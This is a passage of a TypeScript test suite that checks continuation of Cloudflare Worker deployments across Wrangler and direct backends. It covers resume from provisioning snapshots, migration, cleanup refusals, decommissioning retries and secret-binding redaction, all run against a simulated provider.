+function wrangler(world?: ProviderWorld): PlainWorkerHarness {
+  const harness = wranglerHarness(world, { snapshot: true });
+  exportDirectories.add(harness.exportDirectory);
+  return harness;
+}
+
+/**
+ * The instant every leg of this file freezes on: `provisionWithStore` stamps
+ * each record here and the audit pins both of its clocks here. The provider
+ * world answers maintenance health with `lastSweepAt` and `lastPurgeAt` at
+ * this instant and `alarmAt` beyond it, which leaves every audited duty inside
+ * `AUDIT_STALE_AFTER_MS` and the maintenance re-arm branch untaken.
+ */
+const AUDIT_NOW_MS = 1_000;
+
+function provision(harness: PlainWorkerHarness, spec: DeploymentSpec) {
+  return provisionWithStore(harness, harness.store, spec);
+}
+
+function provisionWithStore(
+  harness: Pick<PlainWorkerHarness, 'backend'>,
+  store: FleetStateStore,
+  spec: DeploymentSpec,
+) {
+  return provisionDeployment({
+    backend: harness.backend,
+    store,
+    spec,
+    secrets: sharedSecrets,
+    initialExecutionFenceState: 'open',
+    clock: () => AUDIT_NOW_MS,
+    routeAttestation,
+  });
+}
+
+function mapping(record: FleetRecord) {
+  return {
+    backend: record.backend,
+    scriptName: record.scriptName,
+    databaseName: record.databaseName,
+    databaseId: record.databaseId,
+    routeHostname: record.routeHostname,
+  };
+}
+
+function secretBinding(
+  bindings: readonly unknown[],
+  name = 'DEPLOYMENT_IDENTITY_SECRET',
+): object {
+  const binding = bindings.find(
+    (candidate) =>
+      candidate !== null &&
+      typeof candidate === 'object' &&
+      Reflect.get(candidate, 'type') === 'secret_text' &&
+      Reflect.get(candidate, 'name') === name,
+  );
+  if (!binding || typeof binding !== 'object') {
+    throw new Error(`missing secret binding '${name}'`);
+  }
+  return binding;
+}
+
+async function responseBindings(
+  response: Response,
+): Promise<readonly unknown[]> {
+  const envelope: unknown = await response.json();
+  const result =
+    envelope && typeof envelope === 'object'
+      ? Reflect.get(envelope, 'result')
+      : undefined;
+  const resources =
+    result && typeof result === 'object'
+      ? Reflect.get(result, 'resources')
+      : undefined;
+  const bindings =
+    resources && typeof resources === 'object'
+      ? Reflect.get(resources, 'bindings')
+      : undefined;
+  if (!Array.isArray(bindings)) {
+    throw new Error('projected version response has no binding array');
+  }
+  return bindings;
+}
+
+async function assertVersionProjectionRedaction(
+  world: ProviderWorld,
+  spec: DeploymentSpec,
+): Promise<void> {
+  const script = world.scripts.get(spec.scriptName);
+  const sourceVersion = script?.versions[0];
+  if (!sourceVersion) throw new Error('ready source has no Worker version');
+  expect(Reflect.get(secretBinding(sourceVersion.bindings), 'text')).toBe(
+    sharedSecrets.deploymentIdentity,
+  );
+
+  const responseWorld = world.clone();
+  const stagedResponse = await restProjection(responseWorld)({
+    method: 'POST',
+    url: `https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/${spec.scriptName}/versions`,
+    body: {
+      metadata: {
+        annotations: { 'workers/tag': 'staged-response-proof' },
+        bindings: sourceVersion.bindings,
+        main_module: 'worker.js',
+      },
+      files: [
+        {
+          name: 'worker.js',
+          text: 'export default {}',
+          type: 'application/javascript+module',
+        },
+      ],
+    },
+    headers: new Headers(),
+    redirect: undefined,
+  });
+  const stagedSecret = secretBinding(await responseBindings(stagedResponse));
+  expect(Reflect.ownKeys(stagedSecret).sort()).toEqual(['name', 'type']);
+  expect(
+    Reflect.get(
+      secretBinding(
+        responseWorld.scripts.get(spec.scriptName)?.versions[0]?.bindings ?? [],
+      ),
+      'text',
+    ),
+  ).toBe(sharedSecrets.deploymentIdentity);
+
+  const exactResponse = await restProjection(world)({
+    method: 'GET',
+    url: `https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/${spec.scriptName}/versions/${sourceVersion.versionId}`,
+    body: undefined,
+    headers: new Headers(),
+    redirect: undefined,
+  });
+  const exactSecret = secretBinding(await responseBindings(exactResponse));
+  expect(Reflect.ownKeys(exactSecret).sort()).toEqual(['name', 'type']);
+  expect(Reflect.get(secretBinding(sourceVersion.bindings), 'text')).toBe(
+    sharedSecrets.deploymentIdentity,
+  );
+}
+
+function worldFacts(world: ProviderWorld) {
+  return {
+    scripts: [...world.scripts.entries()].map(([name, script]) => ({
+      name,
+      present: script.present,
+      versions: structuredClone(script.versions),
+      deployment: structuredClone(script.deployment),
+      subdomain: { ...script.subdomain },
+      secretNames: [...script.secretNames].sort(),
+    })),
+    databases: world.databases.map(({ databaseId, name }) => ({
+      databaseId,
+      name,
+    })),
+    customDomains: structuredClone(world.customDomains),
+    zones: structuredClone(world.zones),
+    routes: structuredClone(world.routes),
+    durableObjectNamespaces: structuredClone(world.durableObjectNamespaces),
+    dispatchNamespaces: structuredClone(world.dispatchNamespaces),
+    exports: [...world.exports].map(([databaseId, bytes]) => [
+      databaseId,
+      [...bytes],
+    ]),
+    mutationLog: [...world.mutationLog],
+  };
+}
+
+class ContinuationFleetStore implements FleetStateStore {
+  readonly #records = new Map<string, FleetRecord>();
+  readonly #leases = new Set<string>();
+
+  constructor(records: readonly FleetRecord[]) {
+    for (const record of records) {
+      this.#records.set(this.#key(record.tenantTag, record.environment), {
+        ...structuredClone(record),
+      });
+    }
+  }
+
+  async withDeploymentLease<T>(
+    tenantTag: string,
+    environment: string,
+    operation: (lease: FleetStateLease) => Promise<T>,
+  ): Promise<T> {
+    const key = this.#key(tenantTag, environment);
+    if (this.#leases.has(key)) throw new Error('deployment is already leased');
+    this.#leases.add(key);
+    try {
+      return await operation({
+        tenantTag,
+        environment,
+        mutationLeaseTtlMs: 15 * 60_000,
+        assertOwned: async () => {},
+        renew: async () => {},
+        put: async (record) => {
+          this.#records.set(key, structuredClone(record));
+        },
+        delete: async () => {
+          this.#records.delete(key);
+        },
+      });
+    } finally {
+      this.#leases.delete(key);
+    }
+  }
+
+  async get(
+    tenantTag: string,
+    environment: string,
+  ): Promise<FleetRecord | undefined> {
+    const record = this.#records.get(this.#key(tenantTag, environment));
+    return record ? structuredClone(record) : undefined;
+  }
+
+  async list(): Promise<readonly FleetRecord[]> {
+    return [...this.#records.values()].map((record) => structuredClone(record));
+  }
+
+  #key(tenantTag: string, environment: string): string {
+    return `${tenantTag}:${environment}`;
+  }
+}
+
+class RepeatedPhaseFailureStore extends HarnessFleetStore {
+  #remainingFailures: number;
+
+  constructor(
+    world: ProviderWorld,
+    readonly failedPhase: FleetRecord['phase'],
+    failureCount: number,
+  ) {
+    super(world);
+    this.#remainingFailures = failureCount;
+  }
+
+  override async put(record: FleetRecord): Promise<void> {
+    if (
+      (record.phase === this.failedPhase ||
+        effectiveLifecyclePhase(record) === this.failedPhase) &&
+      this.#remainingFailures > 0
+    ) {
+      this.#remainingFailures -= 1;
+      throw new Error(`failed state write at ${this.failedPhase}`);
+    }
+    await super.put(record);
+  }
+}
+
+function migrate(
+  harness: Pick<PlainWorkerHarness, 'backend'>,
+  store: FleetStateStore,
+  record: FleetRecord,
+  spec: DeploymentSpec,
+) {
+  return migrateFleet({
+    store,
+    records: [record],
+    canaryTenantTags: [],
+    backendFor: () => harness.backend,
+    specFor: () => spec,
+    secretsFor: () => sharedSecrets,
+    clock: () => 2_000,
+    routeAttestation,
+  });
+}
+
+async function authorizedWranglerCreate(dispatched: boolean) {
+  const harness = wrangler();
+  const spec = buildPlainWorkerSpec();
+  const store = dispatched
+    ? new RepeatedPhaseFailureStore(harness.world, 'database-created', 2)
+    : harness.store;
+  harness.world.failNext('createDatabase', { dispatched });
+  const failure = await captureFailure(
+    provisionWithStore(harness, store, spec),
+  );
+  if (dispatched) {
+    expect(failure).toMatchObject({
+      message: 'failed state write at database-created',
+    });
+  } else {
+    expect(failure).toBeInstanceOf(ProvisioningError);
+  }
+  expect(store.record?.phase).toBe('database-create-authorized');
+  return { harness, spec, store };
+}
+
+describe('ordinary Worker cross-backend continuation', () => {
+  afterEach(assertHarnessFailuresConsumed);
+  it('converges a Wrangler-created ready deployment through the direct backend without provider mutations', async () => {
+    const spec = buildPlainWorkerSpec();
+    const source = wrangler();
+    const ready = await provision(source, spec);
+    const before = worldFacts(source.world);
+    const direct = directHarness(source.world);
+    direct.store.record = structuredClone(ready.record);
+
+    const converged = await provision(direct, spec);
+
+    expect(converged.record).toEqual(ready.record);
+    expect(worldFacts(source.world)).toEqual(before);
+  });
+
+  it('resumes every Wrangler provisioning snapshot with the direct backend', async () => {
+    const spec = buildPlainWorkerSpec();
+    const source = wrangler();
+    const ready = await provision(source, spec);
+    const snapshots = source.store.snapshots.filter(
+      ({ record }) => record.phase !== 'ready',
+    );
+    expect(
+      snapshots.map(({ record }) => [record.phase, record.schemaVersion]),
+    ).toEqual([
+      ['database-reserved', 0],
+      ['database-create-authorized', 0],
+      ['database-created', 0],
+      ['identity-seeded', 0],
+      ['identity-seeded', 1],
+      ['identity-seeded', 2],
+      ['migrated', 2],
+      ['application-resources-create-authorized', 2],
+      ['application-resources-deployed', 2],
+      ['worker-deployed', 2],
+      // The invocation-authority flip commits on a dedicated put before the
+      // first maintenance request.
+      ['worker-deployed', 2],
+      ['maintenance-armed', 2],
+      ['publishing', 2],
+    ]);
+
+    for (const snapshot of snapshots) {
+      const world = snapshot.world.clone();
+      const direct = directHarness(world);
+      direct.store.record = structuredClone(snapshot.record);
+      const persistedVersionExists = snapshot.world.scripts
+        .get(snapshot.record.scriptName)
+        ?.versions.some(
+          ({ versionId }) => versionId === snapshot.record.artifactVersion,
+        );
+
+      const resumed = await provision(direct, spec);
+
+      expect(resumed.record.phase).toBe('ready');
+      expect(resumed.record).toMatchObject({
+        backend: snapshot.record.backend,
+        scriptName: snapshot.record.scriptName,
+        databaseName: snapshot.record.databaseName,
+        routeHostname: snapshot.record.routeHostname,
+      });
+      if (
+        snapshot.record.phase !== 'database-reserved' &&
+        snapshot.record.phase !== 'database-create-authorized'
+      ) {
+        expect(resumed.record.databaseId).toBe(snapshot.record.databaseId);
+      }
+      expect(resumed.record.applicationResources).toEqual([]);
+      expect(
+        world.databases
+          .find(({ databaseId }) => databaseId === resumed.record.databaseId)
+          ?.d1.queryDatabase(
+            'SELECT version FROM anchorage_fleet_migrations ORDER BY version',
+          ),
+      ).toEqual([{ version: 1 }, { version: 2 }]);
+      expect(
+        world.scripts
+          .get(spec.scriptName)
+          ?.versions.some(
+            ({ versionId }) => versionId === resumed.record.artifactVersion,
+          ),
+      ).toBe(true);
+      if (persistedVersionExists) {
+        expect(resumed.record.artifactVersion).toBe(
+          snapshot.record.artifactVersion,
+        );
+      }
+    }
+    expect(ready.record.phase).toBe('ready');
+  });
+
+  it('resumes migration before and after the staged artifact is persisted', async () => {
+    const currentSpec = initialSpec();
+    const targetSpec = migrationSpec();
+    const source = wrangler();
+    const ready = await provision(source, currentSpec);
+    source.store.snapshots.length = 0;
+
+    await migrate(source, source.store, ready.record, targetSpec);
+
+    const withoutArtifact = source.store.snapshots.find(
+      ({ record }) =>
+        record.phase === 'migrating' &&
+        record.pendingSpecDigest !== undefined &&
+        record.pendingArtifactVersion === undefined,
+    );
+    const withArtifact = source.store.snapshots.find(
+      ({ record }) =>
+        record.phase === 'migrating' &&
+        record.pendingSpecDigest !== undefined &&
+        record.pendingArtifactVersion !== undefined,
+    );
+    if (!withoutArtifact || !withArtifact) {
+      throw new Error('Wrangler migration did not persist both resume states');
+    }
+
+    for (const snapshot of [withoutArtifact, withArtifact]) {
+      const world = snapshot.world.clone();
+      const direct = directHarness(world);
+      const otherRecord: FleetRecord = {
+        ...structuredClone(snapshot.record),
+        tenantTag: 'other',
+        environment: 'staging',
+        scriptName: 'other-staging',
+        databaseName: 'other-staging',
+        databaseId: 'database-other',
+        routeHostname: 'other.example.test',
+      };
+      const store = new ContinuationFleetStore([snapshot.record, otherRecord]);
+      const [resumed] = await migrate(
+        direct,
+        store,
+        snapshot.record,
+        targetSpec,
+      );
+
+      expect(resumed).toMatchObject({
+        phase: 'ready',
+        schemaVersion: targetSpec.schemaVersion,
+      });
+      expect(mapping(resumed ?? snapshot.record)).toEqual(
+        mapping(snapshot.record),
+      );
+      expect(resumed?.pendingSpecDigest).toBeUndefined();
+      expect(resumed?.pendingArtifactVersion).toBeUndefined();
+      await expect(store.get('other', 'staging')).resolves.toEqual(otherRecord);
+      expect(
+        world.scripts
+          .get(targetSpec.scriptName)
+          ?.versions.some(
+            ({ versionId }) => versionId === resumed?.artifactVersion,
+          ),
+      ).toBe(true);
+    }
+  });
+
+  it('aborts authorized and owned Wrangler-shaped partial deployments through the direct backend', async () => {
+    const authorized = await authorizedWranglerCreate(true);
+    const directAuthorized = directHarness(authorized.harness.world);
+    directAuthorized.store.record = structuredClone(authorized.store.record);
+
+    await cleanupDeploymentArtifacts({
+      backend: directAuthorized.backend,
+      store: directAuthorized.store,
+      spec: authorized.spec,
+    });
+
+    expect(directAuthorized.store.record).toBeUndefined();
+    expect(directAuthorized.world.databases).toEqual([]);
+    expect([...directAuthorized.store.receipts.values()]).toMatchObject([
+      {
+        disposition: 'prepublication-owned-no-export',
+        admittedPhase: 'database-create-authorized',
+        authority: 'manual-cleanup',
+      },
+    ]);
+
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    await provision(source, spec);
+    // The never-authorized carrier keeps trusted plain no-export cleanup
+    // through worker-deployed; the maintenance-armed row is authorized and
+    // now refuses toward export-backed decommissioning.
+    const snapshot = source.store.snapshots.find(
+      ({ record }) => record.phase === 'worker-deployed',
+    );
+    if (!snapshot) throw new Error('missing worker-deployed snapshot');
+    expect(snapshot.record.invocationAuthority).toEqual({
+      version: 1,
+      authorizedAt: null,
+    });
+    const direct = directHarness(snapshot.world.clone());
+    direct.store.record = structuredClone(snapshot.record);
+
+    await cleanupDeploymentArtifacts({
+      backend: direct.backend,
+      store: direct.store,
+      spec,
+    });
+
+    expect(direct.store.record).toBeUndefined();
+    expect(direct.world.databases).toEqual([]);
+    expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(false);
+    expect([...direct.store.receipts.values()]).toMatchObject([
+      {
+        disposition: 'prepublication-owned-no-export',
+        admittedPhase: 'worker-deployed',
+      },
+    ]);
+  });
+
+  it('refuses legacy ambiguous-phase snapshots without mutation and routes them to export-backed decommission', async () => {
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    await provision(source, spec);
+    for (const phase of ['worker-deployed', 'maintenance-armed'] as const) {
+      const snapshot = source.store.snapshots.find(
+        ({ record }) => record.phase === phase,
+      );
+      if (!snapshot) throw new Error(`missing ${phase} snapshot`);
+      const world = snapshot.world.clone();
+      const direct = directHarness(world);
+      // A legacy row predates the invocation-authority carrier entirely, so
+      // its phase alone cannot rule out a dispatched candidate invocation.
+      const { invocationAuthority: _carrier, ...legacy } = structuredClone(
+        snapshot.record,
+      );
+      direct.store.record = legacy;
+      const before = worldFacts(world);
+
+      const failure = await captureFailure(
+        cleanupDeploymentArtifacts({
+          backend: direct.backend,
+          store: direct.store,
+          spec,
+        }),
+      );
+
+      expect((failure as Error).message).toBe(
+        'legacy deployment phase cannot rule out candidate invocation; use export-backed decommissioning',
+      );
+      expect(worldFacts(world)).toEqual(before);
+      expect(direct.store.record).toEqual(legacy);
+      expect(direct.store.receipts.size).toBe(0);
+
+      // The refused row stays provisioning-resumable; completing it makes
+      // the deployment decommissionable with its export receipt.
+      const resumed = await provision(direct, spec);
+      expect(resumed.record.phase).toBe('ready');
+      const decommissioned = await decommissionDeployment({
+        backend: direct.backend,
+        store: direct.store,
+        spec,
+      });
+      expect(decommissioned.record.phase).toBe('decommissioned');
+      expect(decommissioned.databaseExport.size).toBeGreaterThan(0);
+      expect(world.databases).toEqual([]);
+      expect(world.scripts.get(spec.scriptName)?.present).toBe(false);
+    }
+  });
+
+  it('refuses foreign and mismatched resources during direct abort', async () => {
+    const foreign = await authorizedWranglerCreate(false);
+    const foreignDirect = directHarness(foreign.harness.world);
+    foreignDirect.store.record = structuredClone(foreign.store.record);
+    const foreignDatabase = foreignDirect.world.seedDatabase(
+      foreign.spec.databaseName,
+    );
+    await foreignDirect.backend.seedDeploymentIdentity(
+      {
+        id: foreignDatabase.databaseId,
+        name: foreignDatabase.name,
+        created: false,
+      },
+      'foreign',
+      {
+        mutationLeaseTtlMs: 15 * 60_000,
+        assertOwned: async () => {},
+      },
+      { initialExecutionFenceState: 'open' },
+    );
+
+    const foreignFailure = await captureFailure(
+      cleanupDeploymentArtifacts({
+        backend: foreignDirect.backend,
+        store: foreignDirect.store,
+        spec: foreign.spec,
+      }),
+    );
+    expect(errorChain(foreignFailure)).toContain("owned by 'foreign'");
+    // The provider refusal fires inside the database-deletion group, after
+    // the intent was durably admitted; the row stays resumable there.
+    expect(foreignDirect.store.record?.phase).toBe('cleanup-advancing');
+    expect(
+      foreignDirect.store.record?.cleanupIntent?.identity.admittedPhase,
+    ).toBe('database-create-authorized');
+
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    await provision(source, spec);
+    const worker = source.store.snapshots.find(
+      ({ record }) => record.phase === 'worker-deployed',
+    );
+    if (!worker) throw new Error('missing worker-deployed snapshot');
+    const mismatched = directHarness(worker.world.clone());
+    mismatched.store.record = structuredClone(worker.record);
+    const index = mismatched.world.databases.findIndex(
+      ({ databaseId }) => databaseId === worker.record.databaseId,
+    );
+    mismatched.world.databases.splice(index, 1);
+    mismatched.world.seedDatabase('mismatched-name', {
+      databaseId: worker.record.databaseId,
+    });
+
+    const mismatchFailure = await captureFailure(
+      cleanupDeploymentArtifacts({
+        backend: mismatched.backend,
+        store: mismatched.store,
+        spec,
+      }),
+    );
+    expect(mismatchFailure).toBeInstanceOf(AggregateError);
+    expect(
+      (mismatchFailure as AggregateError).errors.map((error) =>
+        errorChain(error),
+      ),
+    ).toEqual([expect.stringContaining('resolved with unexpected identity')]);
+    expect(mismatched.store.record?.phase).toBe('cleanup-advancing');
+    expect(mismatched.store.record?.cleanupIntent?.identity.admittedPhase).toBe(
+      'worker-deployed',
+    );
+  });
+
+  it('preserves a direct recovery whose maintenance request was authorized and completes through export-backed decommission', async () => {
+    const authorized = await authorizedWranglerCreate(true);
+    const direct = directHarness(authorized.harness.world);
+    direct.store.record = structuredClone(authorized.store.record);
+    const deployWorker = direct.backend.deployWorker.bind(direct.backend);
+    let deployedCreated: boolean | undefined;
+    vi.spyOn(direct.backend, 'deployWorker').mockImplementation(
+      async (...arguments_) => {
+        const deployed = await deployWorker(...arguments_);
+        deployedCreated = deployed.created;
+        return deployed;
+      },
+    );
+    direct.world.failNext('ensureMaintenance', { dispatched: false });
+
+    const failure = await captureFailure(provision(direct, authorized.spec));
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect(deployedCreated).toBe(true);
+    // The invocation-authority flip committed before the maintenance
+    // request, so rollback refuses no-export teardown and preserves the
+    // deployment whole for export-backed decommissioning.
+    expect((failure as ProvisioningError).cleanupErrors).toEqual([
+      expect.objectContaining({
+        message:
+          'deployment candidate invocation was durably authorized; use export-backed decommissioning',
+      }),
+    ]);
+    expect(direct.store.record?.phase).toBe('worker-deployed');
+    expect(direct.world.databases).toHaveLength(1);
+    expect(direct.world.scripts.get(authorized.spec.scriptName)?.present).toBe(
+      true,
+    );
+
+    const resumed = await provision(direct, authorized.spec);
+    expect(resumed.record.phase).toBe('ready');
+    const decommissioned = await decommissionDeployment({
+      backend: direct.backend,
+      store: direct.store,
+      spec: authorized.spec,
+    });
+    expect(decommissioned.record.phase).toBe('decommissioned');
+    expect(decommissioned.databaseExport.size).toBeGreaterThan(0);
+    expect(direct.world.databases).toEqual([]);
+    expect(direct.world.scripts.get(authorized.spec.scriptName)?.present).toBe(
+      false,
+    );
+  });
+
+  it('does not roll back a direct resume that started at database-created', async () => {
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    await provision(source, spec);
+    const created = source.store.snapshots.find(
+      ({ record }) => record.phase === 'database-created',
+    );
+    if (!created) throw new Error('missing database-created snapshot');
+    const direct = directHarness(created.world.clone());
+    direct.store.record = structuredClone(created.record);
+    direct.world.failNext('ensureMaintenance', { dispatched: false });
+
+    await expect(provision(direct, spec)).rejects.toBeInstanceOf(
+      ProvisioningError,
+    );
+
+    expect(direct.store.record?.phase).toBe('worker-deployed');
+    expect(direct.world.databases).toHaveLength(1);
+    expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(true);
+  });
+
+  it('decommissions a Wrangler-created ready deployment through the direct backend', async () => {
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    const ready = await provision(source, spec);
+    const direct = directHarness(source.world);
+    direct.store.record = structuredClone(ready.record);
+
+    const result = await decommissionDeployment({
+      backend: direct.backend,
+      store: direct.store,
+      spec,
+    });
+
+    expect(result.record.phase).toBe('decommissioned');
+    expect(direct.world.databases).toEqual([]);
+    expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(false);
+  });
+
+  it('reprovisions the decommissioned slug through the direct backend without touching the old database', async () => {
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    const ready = await provision(source, spec);
+    const direct = directHarness(source.world);
+    direct.store.record = structuredClone(ready.record);
+    const retired = await decommissionDeployment({
+      backend: direct.backend,
+      store: direct.store,
+      spec,
+    });
+    expect(retired.record.phase).toBe('decommissioned');
+    const requestsAtTeardown = direct.requests.length;
+
+    const reprovisioned = await provision(direct, spec);
+
+    expect(reprovisioned.record.phase).toBe('ready');
+    expect(reprovisioned.record.databaseId).not.toBe(retired.record.databaseId);
+    expect(reprovisioned.record.scriptName).toBe(ready.record.scriptName);
+    expect(reprovisioned.record.databaseName).toBe(ready.record.databaseName);
+    expect(reprovisioned.record.routeHostname).toBe(ready.record.routeHostname);
+    // Observed at the dispatched request rather than at the world's mutation
+    // log: a SQL query or batch and a DELETE the world answers with 404 before
+    // it logs both carry their target in the URL or the body.
+    expect(
+      direct.requests
+        .slice(requestsAtTeardown)
+        .filter(({ url, body }) =>
+          `${url} ${JSON.stringify(body) ?? ''}`.includes(
+            retired.record.databaseId,
+          ),
+        ),
+    ).toEqual([]);
+    expect(direct.world.databases.map(({ databaseId }) => databaseId)).toEqual([
+      reprovisioned.record.databaseId,
+    ]);
+  });
+
+  it('retries every direct teardown state write from its retained predecessor', async () => {
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    const ready = await provision(source, spec);
+    const rows: readonly Readonly<{
+      phase: FleetRecord['phase'];
+      predecessor: FleetRecord['phase'];
+    }>[] = [
+      { phase: 'decommissioning', predecessor: 'ready' },
+      { phase: 'traffic-removed', predecessor: 'decommissioning' },
+      { phase: 'credentials-revoked', predecessor: 'traffic-removed' },
+      { phase: 'worker-deleted', predecessor: 'credentials-revoked' },
+      {
+        phase: 'platform-credentials-revoked',
+        predecessor: 'worker-deleted',
+      },
+      {
+        phase: 'platform-resources-deleted',
+        predecessor: 'platform-credentials-revoked',
+      },
+      {
+        phase: 'application-resources-deleting',
+        predecessor: 'platform-resources-deleted',
+      },
+      {
+        phase: 'application-resources-deleted',
+        predecessor: 'application-resources-deleting',
+      },
+      {
+        phase: 'database-exported',
+        predecessor: 'application-resources-deleted',
+      },
+      { phase: 'database-deleting', predecessor: 'database-exported' },
+      { phase: 'decommissioned', predecessor: 'database-deleting' },
+    ];
+
+    for (const row of rows) {
+      const direct = directHarness(source.world.clone());
+      direct.store.record = structuredClone(ready.record);
+      direct.store.failPutPhase = row.phase;
+
+      await expect(
+        decommissionDeployment({
+          backend: direct.backend,
+          store: direct.store,
+          spec,
+        }),
+      ).rejects.toThrow(`failed state write at ${row.phase}`);
+      const retained = direct.store.record;
+      if (!retained) throw new Error('failed write removed the Fleet row');
+      expect(effectiveLifecyclePhase(retained)).toBe(row.predecessor);
+
+      const retried = await decommissionDeployment({
+        backend: direct.backend,
+        store: direct.store,
+        spec,
+      });
+      expect(retried.record.phase).toBe('decommissioned');
+      expect(direct.world.databases).toEqual([]);
+    }
+  });
+
+  it('force-decommissions a wedged Wrangler-created deployment through the direct backend', async () => {
+    const source = wrangler();
+    const spec = buildPlainWorkerSpec();
+    const ready = await provision(source, spec);
+    const direct = directHarness(source.world);
+    direct.store.record = {
+      ...structuredClone(ready.record),
+      phase: 'migrating',
+      pendingSpecDigest: 'f'.repeat(64),
+    };
+
+    await forceDecommissionDeployment({
+      backend: direct.backend,
+      store: direct.store,
+      tenantTag: spec.tenantTag,
+      environment: spec.environment,
+    });
+
+    expect(direct.store.record).toBeUndefined();
+    expect(direct.world.databases).toEqual([]);
+    expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(true);
+    expect(direct.world.scripts.get(spec.scriptName)?.subdomain).toEqual({
+      enabled: false,
+      previewsEnabled: false,
+    });
+    expect(direct.world.scripts.get(spec.scriptName)?.secretNames.size).toBe(0);
+  });
+
+  it('converges direct continuation after every ambiguous provider boundary', async () => {
+    const spec = buildPlainWorkerSpec();
+
+    const createSource = await authorizedWranglerCreate(false);
+    const create = directHarness(createSource.harness.world);
+    create.store.record = structuredClone(createSource.store.record);
+    create.world.failNext('createDatabase', { dispatched: true });
+    // The core adopts an exact unowned database after a lost create response.
+    const created = await provision(create, spec);
+    expect(created.record.phase).toBe('ready');
+    expect(create.world.databases).toHaveLength(1);
+    expect(created.record.databaseId).toBe(
+      create.world.databases[0]?.databaseId,
+    );
+    expect(
+      create.world.mutationLog.filter((entry) =>
+        entry.startsWith('create-database:'),
+      ),
+    ).toHaveLength(1);
+
+    const source = wrangler();
+    const ready = await provision(source, spec);
+    await assertVersionProjectionRedaction(source.world, spec);
+    const beforeWorker = source.store.snapshots.find(
+      ({ record }) => record.phase === 'application-resources-deployed',
+    );
+    if (!beforeWorker) {
+      throw new Error('missing application-resources-deployed snapshot');
+    }
+    const upload = directHarness(beforeWorker.world.clone());
+    upload.store.record = structuredClone(beforeWorker.record);
+    upload.world.failNext('uploadCandidate', { dispatched: true });
+    expect((await provision(upload, spec)).record.phase).toBe('ready');
+
+    for (const operation of ['deployCandidate', 'promoteWorker']) {
+      const direct = directHarness(source.world.clone());
+      direct.store.record = structuredClone(ready.record);
+      const targetSpec = migrationSpec();
+      direct.world.failNext(operation, { dispatched: true });
+      const [resumed] = await migrate(
+        direct,
+        direct.store,
+        ready.record,
+        targetSpec,
+      );
+      expect(resumed?.phase).toBe('ready');
+    }
+
+    const deletion = directHarness(source.world.clone());
+    deletion.store.record = structuredClone(ready.record);
+    deletion.world.failNext('deleteWorkerScript', { dispatched: true });
+    await ignoreFailure(
+      decommissionDeployment({
+        backend: deletion.backend,
+        store: deletion.store,
+        spec,
+      }),
+    );
+    const removed = await decommissionDeployment({
+      backend: deletion.backend,
+      store: deletion.store,
+      spec,
+    });
+    expect(removed.record.phase).toBe('decommissioned');
+
+    const beforeAttach = source.store.snapshots.find(
+      ({ record }) => record.phase === 'publishing',
+    );
+    if (!beforeAttach) throw new Error('missing publishing snapshot');
+    const attached = directHarness(beforeAttach.world.clone());
+    attached.store.record = structuredClone(beforeAttach.record);
+    attached.world.failNext('attachCustomDomain', { dispatched: true });
+    await ignoreFailure(provision(attached, spec));
+    const attachedReady = await provision(attached, spec);
+    expect(attachedReady.record.phase).toBe('ready');
+    expect(attached.world.customDomains).toEqual([
+      expect.objectContaining({
+        hostname: spec.routeHostname,
+        service: spec.scriptName,
+      }),
+    ]);
+
+    const detached = directHarness(source.world.clone());
+    detached.store.record = structuredClone(ready.record);
+    detached.world.failNext('detachCustomDomain', { dispatched: true });
+    await ignoreFailure(
+      decommissionDeployment({
+        backend: detached.backend,
+        store: detached.store,
+        spec,
+      }),
+    );
+    const detachedReady = await decommissionDeployment({
+      backend: detached.backend,
+      store: detached.store,
+      spec,
+    });
+    expect(detachedReady.record.phase).toBe('decommissioned');
+
+    const databaseDeletion = directHarness(source.world.clone());
+    databaseDeletion.store.record = structuredClone(ready.record);
+    if (
+      typeof databaseDeletion.backend.advanceDecommissionAttachmentScan !==
+        'function' ||
+      typeof databaseDeletion.backend.exportDatabaseReceipt !== 'function' ||
+      databaseDeletion.backend.databaseExportReceiptAuthority === undefined ||
+      typeof databaseDeletion.backend.assertDatabaseDeletionResidualsRemoved !==
+        'function'
+    ) {
+      throw new Error('direct continuation has no bounded teardown capability');
+    }
+    const boundedScan = vi.spyOn(
+      databaseDeletion.backend,
+      'advanceDecommissionAttachmentScan',
+    );
+    const boundedReceipt = vi.spyOn(
+      databaseDeletion.backend,
+      'exportDatabaseReceipt',
+    );
+    const boundedResiduals = vi.spyOn(
+      databaseDeletion.backend,
+      'assertDatabaseDeletionResidualsRemoved',
+    );
+    const legacyAttachments = vi
+      .spyOn(databaseDeletion.backend, 'assertDatabaseDetached')
+      .mockRejectedValue(
+        new Error('bounded continuation used legacy attachment enumeration'),
+      );
+    const legacyExport = vi
+      .spyOn(databaseDeletion.backend, 'exportDatabase')
+      .mockRejectedValue(new Error('bounded continuation used legacy export'));
+    databaseDeletion.world.failNext('deleteDatabase', { dispatched: true });
+    const databaseDeleted = await decommissionDeployment({
+      backend: databaseDeletion.backend,
+      store: databaseDeletion.store,
+      spec,
+    });
+    expect(databaseDeleted.record.phase).toBe('decommissioned');
+    expect(databaseDeletion.world.databases).toEqual([]);
+    expect(boundedScan).toHaveBeenCalled();
+    expect(boundedReceipt).toHaveBeenCalledTimes(1);
+    expect(boundedResiduals).toHaveBeenCalled();
+    expect(legacyAttachments).not.toHaveBeenCalled();
+    expect(legacyExport).not.toHaveBeenCalled();
+    expect(
+      databaseDeletion.world.mutationLog.filter(
+        (entry) => entry === `delete-database:${ready.record.databaseId}`,
+      ),
+    ).toHaveLength(1);
+
+    const secretDeletion = directHarness(source.world.clone());
+    secretDeletion.store.record = structuredClone(ready.record);
+    secretDeletion.world.failNext('deleteControlSecrets', {
+      dispatched: true,
+    });
+    await ignoreFailure(
+      decommissionDeployment({
+        backend: secretDeletion.backend,
+        store: secretDeletion.store,
+        spec,
+      }),
+    );
+    const secretsDeleted = await decommissionDeployment({
+      backend: secretDeletion.backend,
